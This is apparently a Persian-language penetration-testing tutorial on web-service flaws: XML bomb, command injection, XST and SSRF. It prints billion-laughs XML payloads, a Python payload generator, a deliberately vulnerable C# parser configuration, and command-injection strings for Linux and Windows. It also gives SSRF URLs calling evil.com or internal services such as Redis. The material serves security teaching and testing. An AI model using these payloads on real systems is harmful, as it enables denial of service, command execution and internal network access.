آسیب پذیری های xml bomb,command injection, xst, ssrf در وبسرویس ها


از سری آموزش های تصویری تست نفوذ وبسرویس، این قسمت با یک سری دیگر از آسیب پذیری های رایج در وبسرویس مثل xml bomb و command injection و xst و ssrf آشنا می شویم

آسیب پذیری هایی که این این قسمت می خواهیم درباره آن صحبت کنیم بسیار گسترده اند بنابراین بخشی از آموزش را در این جا به صورت متنی قرار می دهم.

نمونه payload برای تست xml bomb

1)
<?xml version=&quot1.0&quot?>
<!DOCTYPE results [<!ENTITY long &quotSOME_SUPER_LONG_STRING&quot>]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>

2)

<?xml version=&quot1.0&quot?>
<!DOCTYPE results [
    <!ENTITY x0 &quotBOOM!&quot>
    <!ENTITY x1 &quot&x0;&x0;&quot>
    <!ENTITY x2 &quot&x1;&x1;&quot>
    <!ENTITY x3 &quot&x2;&x2;&quot>
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 &quot&x98;&x98;&quot>
    <!ENTITY boom &quot&x99;&x99;&quot>
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>

نمونه کد آسیب پذیر xml bomb:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
settings.ValidationType = ValidationType.None;
settings.MaxCharactersFromEntities = 999999999999999;

XmlReader reader = XmlReader.Create(new StringReader(xml), settings);
while (reader.Read()) { }

return string.Empty;

برای generate نمودن payload برای آسیب پذیری xml bomb میتوانید از این اسکریپت استفاده کنید.

#!/usr/bin/python3

NUM = 55000

def main():
	entity = 'A' * NUM
	refs = '&x;' * NUM
	templ = '''<?xml version=&quot1.0&quot?>
	<!DOCTYPE DoS [
	  <!ENTITY x &quot{entity}&quot>
	]>
	<DoS>{entityReferences}</DoS>
	'''.format(entity=entity, entityReferences=refs)

	print(templ)

if __name__ == '__main__':
	main()

برای آسیب پذیری command injection میتوانید از payload های زیر استفاده کنید.

در لینوکس

;id;
;id
|id
|/usr/bin/id
|id|

در ویندوز

| dir
; dir
%26%26 dir
%26%26dir

ادامه payload ها

برای تست آسیب پذیری XST می توانید به جای استفاده از اسکریپت که در فیلم گفته شد می توانید از ترمینال این دستور اجرا کنید.

curl -X TRACE -H &quotCookie: name=value&quot 127.0.0.1

اگر مقدار تنظیم شده برای name در cookie پاسخ درخواست مشاهده شد آسیب پذیری xst وجود دارد.

برای تست SSRF و اکسپلویت نمودن آن راه های زیاد و خلاقانه ای وجود دارد.

در فیلم توانستیم با SSRF به صورت خیلی ساده port scan انجام بدهیم.

یکی دیگه از راه های تست و اکسپلویت استفاده از دیگر پروتکل ها به جای http است.

مثال های دیگر عبارتنند از:

file://path/to/file
sftp://evil.com:11111/
tftp://evil.com:12346/TESTUDPPACKET
ldap://localhost:11211/%0astats%0aquit
gopher://127.0.0.1:4242/DATA
dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html

همچنین برای تست ssrf می توانید از قابلیت burp collaborator در نرم افزار burp و همچنین ssrfmap استفاده کنید

در این قسمت تا اسلاید ۱۷ پیش رفتیم.

اگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.



پیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.

امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود.